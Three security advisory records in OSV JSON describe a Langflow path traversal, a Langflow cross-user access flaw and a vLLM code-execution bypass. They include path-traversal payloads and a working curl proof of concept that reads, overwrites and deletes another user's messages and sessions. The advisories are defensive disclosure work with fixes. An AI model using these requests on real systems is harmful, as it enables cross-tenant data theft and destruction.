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{
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"schema_version": "1.4.0",
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"id": "GHSA-79ph-745m-6wxq",
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"modified": "2026-06-16T17:35:09Z",
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"published": "2026-06-16T17:35:09Z",
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"aliases": [
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"CVE-2026-42867"
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],
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"summary": "Langflow: Path Traversal in Knowledge Bases API via Creation Endpoint",
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"details": "## Summary\nLangflow is vulnerable to Path Traversal in the Knowledge Bases API (`POST /api/v1/knowledge_bases`). This occurs because user-supplied knowledge base names are used directly to create file paths without proper sanitization or containment checks. An authenticated attacker can exploit this flaw to create directories and write files anywhere on the server's filesystem.\n\n## Details\nThe vulnerability exists in the `create_knowledge_base` function within `src/backend/base/langflow/api/v1/knowledge_bases.py`. \n\nThis function constructs file paths directly from the user-supplied `name` field without sanitization. The value is concatenated with the user's base directory and passed directly to `kb_path.mkdir()`. Immediately following the directory creation, the application writes `embedding_metadata.json` and `schema.json` into this attacker-controlled path.\n\n## PoC (Proof of Concept)\nFor the **Create** endpoint, an attacker can supply traversal sequences or absolute paths in the `name` field:\n\n`../victim_user/evil_kb`\nor\n`/tmp/pwned`\n\nThis forces `kb_path.mkdir()` to create directories and write specific application files (`embedding_metadata.json` and `schema.json`) at any reachable path on the server.\n\n## Impact\nAny Langflow instance exposing this endpoint to authenticated users is vulnerable. This exposes the server to:\n* **Cross-user data compromise:** Creation of directories and files within another tenant's knowledge base space.\n* **Arbitrary filesystem manipulation:** Directory creation at any path on the server where the application has write permissions (e.g., `/app/data`).\n* **Data overwrite:** Overwriting existing `embedding_metadata.json` and `schema.json` files in attacker-targeted paths, potentially corrupting existing knowledge bases.\n\n## Fixes\nThe issue was addressed in **PR #12337**. The fix introduces the `_validate_kb_path_containment()` helper function, which uses `Path.is_relative_to()` instead of `startswith()` to enforce strict path boundaries and prevent prefix-ambiguity bugs. This helper is applied before any filesystem operations. Regression tests were added to verify that traversal payloads return a `403 Forbidden`.\n\n## Acknowledgements\nThanks to the security researchers who responsibly disclosed this vulnerability:\n* @ddlxstudio\n* @nekros1xx",
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"severity": [
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{
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"type": "CVSS_V3",
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"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L"
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}
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],
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"affected": [
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{
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"package": {
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"ecosystem": "PyPI",
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"name": "langflow"
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},
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"ranges": [
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{
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"type": "ECOSYSTEM",
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"events": [
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{
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"introduced": "0"
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},
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{
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"fixed": "1.9.0"
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}
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]
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}
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],
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"database_specific": {
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"last_known_affected_version_range": "<= 1.8.4"
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}
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}
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],
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"references": [
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{
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"type": "WEB",
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"url": "https://github.com/langflow-ai/langflow/security/advisories/GHSA-79ph-745m-6wxq"
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},
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{
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"type": "WEB",
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"url": "https://github.com/langflow-ai/langflow/pull/12337"
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},
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{
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"type": "PACKAGE",
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"url": "https://github.com/langflow-ai/langflow"
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}
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],
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"database_specific": {
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"cwe_ids": [
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"CWE-22"
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],
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"severity": "MODERATE",
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"github_reviewed": true,
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"github_reviewed_at": "2026-06-16T17:35:09Z",
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"nvd_published_at": null
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}
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}
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{
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"schema_version": "1.4.0",
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"id": "GHSA-9c59-2mvc-vfr8",
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"modified": "2026-06-16T17:34:21Z",
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"published": "2026-06-16T17:34:21Z",
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"aliases": [
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"CVE-2026-33760"
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],
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"summary": "Langflow: IDOR/BOLA in Monitor API — Missing Ownership Enforcement on 7 Endpoints ",
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"details": "### Summary\n\nLangflow's `/api/v1/monitor` router exposes 7 endpoints that perform read, write, and delete operations on user-owned resources — messages, sessions, build artifacts, and LLM transaction logs — without verifying that the authenticated requester owns the targeted resource. Any authenticated user can read, modify, rename, or permanently delete another user's data by supplying the target's resource ID or `flow_id`. This is a classic IDOR/BOLA vulnerability. Notably, the same source file (`monitor.py`) contains one correctly-implemented endpoint that uses an ownership check, demonstrating the correct pattern was known but inconsistently applied.\n\n\n### Details\n\n**Source file: `src/backend/base/langflow/api/v1/monitor.py`**\n\nThe correct pattern (used only in `GET /monitor/messages`, lines 77–80):\n```python\nstmt = select(MessageTable)\nstmt = stmt.join(Flow, MessageTable.flow_id == Flow.id)\nstmt = stmt.where(Flow.user_id == current_user.id) # ownership enforced\n```\n\nAll 7 vulnerable endpoints are missing this guard:\n\n**1. `GET /api/v1/monitor/builds` (lines 27–33)** — reads build data for any `flow_id`:\n```python\n@router.get(\"/builds\", dependencies=[Depends(get_current_active_user)])\nasync def get_vertex_builds(flow_id: Annotated[UUID, Query()], session: DbSession):\n vertex_builds = await get_vertex_builds_by_flow_id(session, flow_id) # no ownership check\n return VertexBuildMapModel.from_list_of_dicts(vertex_builds)\n```\n\n**2. `DELETE /api/v1/monitor/messages` (lines 102–107)** — deletes any message by UUID:\n```python\n@router.delete(\"/messages\", status_code=204, dependencies=[Depends(get_current_active_user)])\nasync def delete_messages(message_ids: list[UUID], session: DbSession):\n await session.exec(delete(MessageTable).where(MessageTable.id.in_(message_ids)))\n # message_ids accepted verbatim, no ownership check\n```\n\n**3. `PUT /api/v1/monitor/messages/{message_id}` (lines 110–134)** — overwrites any message:\n```python\ndb_message = await session.get(MessageTable, message_id)\n# no check: db_message.flow_id → Flow.user_id == current_user.id\ndb_message.sqlmodel_update(message_dict)\n```\n\n**4. `PATCH /api/v1/monitor/messages/session/{old_session_id}` (lines 137–171)** — renames any session:\n```python\nstmt = select(MessageTable).where(MessageTable.session_id == old_session_id)\n# no JOIN to Flow, no WHERE Flow.user_id == current_user.id\n```\n\n**5. `DELETE /api/v1/monitor/messages/session/{session_id}` (lines 174–188)** — bulk-deletes any session:\n```python\nawait session.exec(\n delete(MessageTable).where(col(MessageTable.session_id) == session_id)\n # no ownership filter\n)\n```\n\n**6. `GET /api/v1/monitor/transactions` (lines 191–211)** — reads LLM prompt/response logs for any `flow_id`:\n```python\nstmt = select(TransactionTable).where(TransactionTable.flow_id == flow_id)\n# no JOIN to Flow, no WHERE Flow.user_id == current_user.id\n```\n\n**7. `DELETE /api/v1/monitor/builds`** — deletes build records for any `flow_id`:\nShares the same root cause as endpoint #1 (`GET /builds`): `flow_id` is accepted as a bare query parameter and passed to the deletion path without a `WHERE Flow.user_id == current_user.id` ownership check, so any authenticated user can destroy another user's build artifacts.\n\n### PoC\n\nTested on Langflow v1.7.3 (`langflowai/langflow:1.7.3`) with two accounts: `langflow` (victim) and `attacker_test` (attacker).\n\n```bash\n# Setup: authenticate both users\nTOKEN=$(curl -s -X POST http://localhost:7860/api/v1/login \\\n -d \"username=langflow&password=langflow\" \\\n | python3 -c \"import sys,json; print(json.load(sys.stdin)['access_token'])\")\n\nATTKR=$(curl -s -X POST http://localhost:7860/api/v1/login \\\n -d \"username=attacker_test&password=Attacker123\" \\\n | python3 -c \"import sys,json; print(json.load(sys.stdin)['access_token'])\")\n\n# Victim creates a flow (attacker only needs to know the flow_id — obtainable via brute force or enumeration)\nFLOW_ID=$(curl -s -X POST http://localhost:7860/api/v1/flows/ \\\n -H \"Authorization: Bearer $TOKEN\" -H \"Content-Type: application/json\" \\\n -d '{\"name\":\"victim-flow\",\"data\":{\"nodes\":[],\"edges\":[]}}' \\\n | python3 -c \"import sys,json; print(json.load(sys.stdin)['id'])\")\n\n# PoC 1: Read victim's LLM transaction logs (prompts + model responses)\ncurl -s \"http://localhost:7860/api/v1/monitor/transactions?flow_id=$FLOW_ID\" \\\n -H \"Authorization: Bearer $ATTKR\"\n# HTTP 200 — full transaction log returned including user prompts and model responses\n\n# PoC 2: Read victim's build data\ncurl -s \"http://localhost:7860/api/v1/monitor/builds?flow_id=$FLOW_ID\" \\\n -H \"Authorization: Bearer $ATTKR\"\n# HTTP 200\n\n# PoC 3: Delete victim's message (MESSAGE_ID obtained from transaction log above)\ncurl -s -X DELETE \"http://localhost:7860/api/v1/monitor/messages\" \\\n -H \"Authorization: Bearer $ATTKR\" -H \"Content-Type: application/json\" \\\n -d '[\"<victim_message_id>\"]'\n# HTTP 204 — message deleted\n\n# PoC 4: Tamper with victim's message content\ncurl -s -X PUT \"http://localhost:7860/api/v1/monitor/messages/<victim_message_id>\" \\\n -H \"Authorization: Bearer $ATTKR\" -H \"Content-Type: application/json\" \\\n -d '{\"text\":\"TAMPERED BY ATTACKER\"}'\n# HTTP 200 — message overwritten, \"edit\":true set\n\n# PoC 5: Rename victim's session\ncurl -s -X PATCH \\\n \"http://localhost:7860/api/v1/monitor/messages/session/victim-session-1?new_session_id=attacker-controlled\" \\\n -H \"Authorization: Bearer $ATTKR\"\n# HTTP 200 — session renamed\n\n# PoC 6: Bulk-delete victim's entire session\ncurl -s -X DELETE \\\n \"http://localhost:7860/api/v1/monitor/messages/session/victim-session-2\" \\\n -H \"Authorization: Bearer $ATTKR\"\n# HTTP 204 — entire session deleted\n```\n\nAll 6 demonstrated attack vectors confirmed (the 7th, `DELETE /builds`, shares the `GET /builds` root cause and was not separately scripted). After attacker operations: victim's message text read `\"TAMPERED BY ATTACKER\"`, session renamed to attacker-controlled name, second session completely deleted.\n\n### Impact\n\nThis vulnerability affects any Langflow deployment with multiple users (team instances, SaaS deployments, enterprise self-hosted).\n\n**Confidentiality:** `GET /transactions` exposes the full LLM conversation history — user-submitted prompts and model responses — for any flow by `flow_id`. In healthcare, legal, financial, or HR deployments this directly exposes sensitive and potentially regulated data (HIPAA, GDPR). `GET /builds` exposes internal workflow execution state.\n\n**Integrity:** `PUT /messages/{id}` allows rewriting any stored message, corrupting chat history, audit trails, and RAG-indexed memory. `PATCH /messages/session/{id}` allows renaming sessions, breaking session continuity and potentially injecting victim context into attacker-controlled namespaces.\n\n**Availability:** `DELETE /messages` and `DELETE /messages/session/{id}` enable permanent, irreversible destruction of another user's conversation history and LLM logs. No recovery mechanism exists once data is deleted.\n\nAny registered user account (including self-registered accounts if registration is open) has unrestricted cross-user access to all 6 operations against any other user's data.",
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"severity": [
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{
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"type": "CVSS_V3",
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"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"
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}
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],
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"affected": [
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{
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"package": {
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"ecosystem": "PyPI",
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"name": "langflow"
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},
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"ranges": [
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{
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"type": "ECOSYSTEM",
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"events": [
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{
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"introduced": "0"
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},
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{
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"fixed": "1.9.0"
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}
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]
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}
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]
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}
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],
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"references": [
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{
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"type": "WEB",
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"url": "https://github.com/langflow-ai/langflow/security/advisories/GHSA-9c59-2mvc-vfr8"
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},
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{
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"type": "PACKAGE",
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"url": "https://github.com/langflow-ai/langflow"
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}
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],
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"database_specific": {
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"cwe_ids": [
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"CWE-639"
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],
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"severity": "HIGH",
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"github_reviewed": true,
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"github_reviewed_at": "2026-06-16T17:34:21Z",
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"nvd_published_at": null
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}
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}
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{
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"schema_version": "1.4.0",
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"id": "GHSA-q8gq-377p-jq3r",
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"modified": "2026-06-16T17:34:49Z",
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"published": "2026-06-16T17:34:49Z",
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"aliases": [
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"CVE-2026-41523"
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],
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"summary": "vLLM: Security Check Bypass via assert Statement in Activation Function Loading Allows Arbitrary Code Execution",
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"details": "### Summary\n\nAn `assert`-based security check in vLLM's activation function loading allows any unauthenticated attacker to achieve arbitrary code execution on the server by publishing a malicious HuggingFace model, when vLLM runs in Python optimized mode (`python -O` or `PYTHONOPTIMIZE=1`).\n\n### Details\n\nvLLM uses an `assert` statement at [`vllm/model_executor/layers/pooler/activations.py:48`](https://github.com/vllm-project/vllm/blob/main/vllm/model_executor/layers/pooler/activations.py#L48) as its sole security control to restrict which activation functions can be loaded from a HuggingFace model's `config.json`:\n\n```python\n# vllm/model_executor/layers/pooler/activations.py:35-53\nfunction_name: str | None = None\nif (\n hasattr(config, \"sentence_transformers\")\n and \"activation_fn\" in config.sentence_transformers\n):\n function_name = config.sentence_transformers[\"activation_fn\"]\nelif (\n hasattr(config, \"sbert_ce_default_activation_function\")\n and config.sbert_ce_default_activation_function is not None\n):\n function_name = config.sbert_ce_default_activation_function\n\nif function_name is not None:\n assert function_name.startswith(\"torch.nn.modules.\"), (\n \"Loading of activation functions is restricted to \"\n \"torch.nn.modules for security reasons\"\n )\n fn = resolve_obj_by_qualname(function_name)()\n```\n\nPython's `assert` statements are stripped at compile time when running in optimized mode (`python -O` or `PYTHONOPTIMIZE=1`). When the assert is absent, the attacker-controlled `function_name` from the model's `config.json` is passed directly to [`resolve_obj_by_qualname()`](https://github.com/vllm-project/vllm/blob/main/vllm/utils/import_utils.py#L106) — an unrestricted import gadget:\n\n```python\ndef resolve_obj_by_qualname(qualname: str) -> Any:\n module_name, obj_name = qualname.rsplit(\".\", 1)\n module = importlib.import_module(module_name)\n return getattr(module, obj_name)\n```\n\nThis is the same vulnerability class as **CVE-2017-1000433** (pysaml2 assert-based auth bypass), flagged by Bandit B101 and Ruff S101, and the reason Django proactively replaced all assert-based security checks (ticket #32508).\n\n**Attacker-controlled input sources:**\n- `config.sentence_transformers[\"activation_fn\"]` (line 40)\n- `config.sbert_ce_default_activation_function` (line 45)\n\n**Affected call sites** — `get_act_fn()` is called via `resolve_classifier_act_fn()` from:\n- `vllm/model_executor/layers/pooler/seqwise/poolers.py:122` — SequencePooler\n- `vllm/model_executor/layers/pooler/tokwise/poolers.py:130` — TokenPooler\n\n**Broader systemic risk:** `resolve_obj_by_qualname` is called from ~20 locations across the codebase with no validation of its own. Any future caller feeding user-controlled input to it without validation creates the same vulnerability class.\n\n**Suggested fix:** Replace the `assert` with an explicit conditional raise:\n\n```python\nif not function_name.startswith(\"torch.nn.modules.\"):\n raise ValueError(\n \"Loading of activation functions is restricted to \"\n \"torch.nn.modules for security reasons\"\n )\n```\n\n### Impact\n\n**Arbitrary code execution.** A malicious model author publishes a HuggingFace model with a crafted `config.json`. When a victim loads this model with vLLM running under `python -O` or `PYTHONOPTIMIZE=1`, arbitrary code executes during model initialization with the privileges of the vLLM process.\n\nThe attack requires:\n1. Victim loads a malicious model from HuggingFace (user interaction)\n2. vLLM runs under `python -O` or `PYTHONOPTIMIZE=1` (documented in production use)\n3. Model uses a cross-encoder architecture (e.g. BERT or RoBERTa with sequence classification)\n\n**Coordinated disclosure note:** This vulnerability was also reported via huntr.com on April 2, 2026 (https://huntr.com/bounties/dcb05b04-e625-41e7-adbc-bbae0cc2d64c). A GitHub Security Advisory was also filed because it is vLLM's stated preferred disclosure channel per SECURITY.md.\n\n### Fix\n\nA fix for this was introduced in this commit: https://github.com/vllm-project/vllm/commit/b3c7ffcab82c2439726f8cb213800f6f38c023d3",
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"severity": [
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{
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"type": "CVSS_V3",
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"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H"
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}
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],
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"affected": [
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{
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"package": {
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"ecosystem": "PyPI",
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"name": "vllm"
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},
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"ranges": [
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{
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"type": "ECOSYSTEM",
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"events": [
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{
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"introduced": "0"
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},
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{
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"fixed": "0.22.0"
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}
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]
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}
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]
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}
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],
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"references": [
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{
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"type": "WEB",
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"url": "https://github.com/vllm-project/vllm/security/advisories/GHSA-q8gq-377p-jq3r"
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},
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{
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"type": "WEB",
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"url": "https://github.com/vllm-project/vllm/commit/b3c7ffcab82c2439726f8cb213800f6f38c023d3"
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},
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{
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"type": "PACKAGE",
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"url": "https://github.com/vllm-project/vllm"
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},
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{
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"type": "WEB",
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"url": "https://huntr.com/bounties/dcb05b04-e625-41e7-adbc-bbae0cc2d64c"
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}
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],
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"database_specific": {
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"cwe_ids": [
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"CWE-617",
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"CWE-94"
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],
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"severity": "HIGH",
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"github_reviewed": true,
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"github_reviewed_at": "2026-06-16T17:34:49Z",
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"nvd_published_at": null
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}
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}

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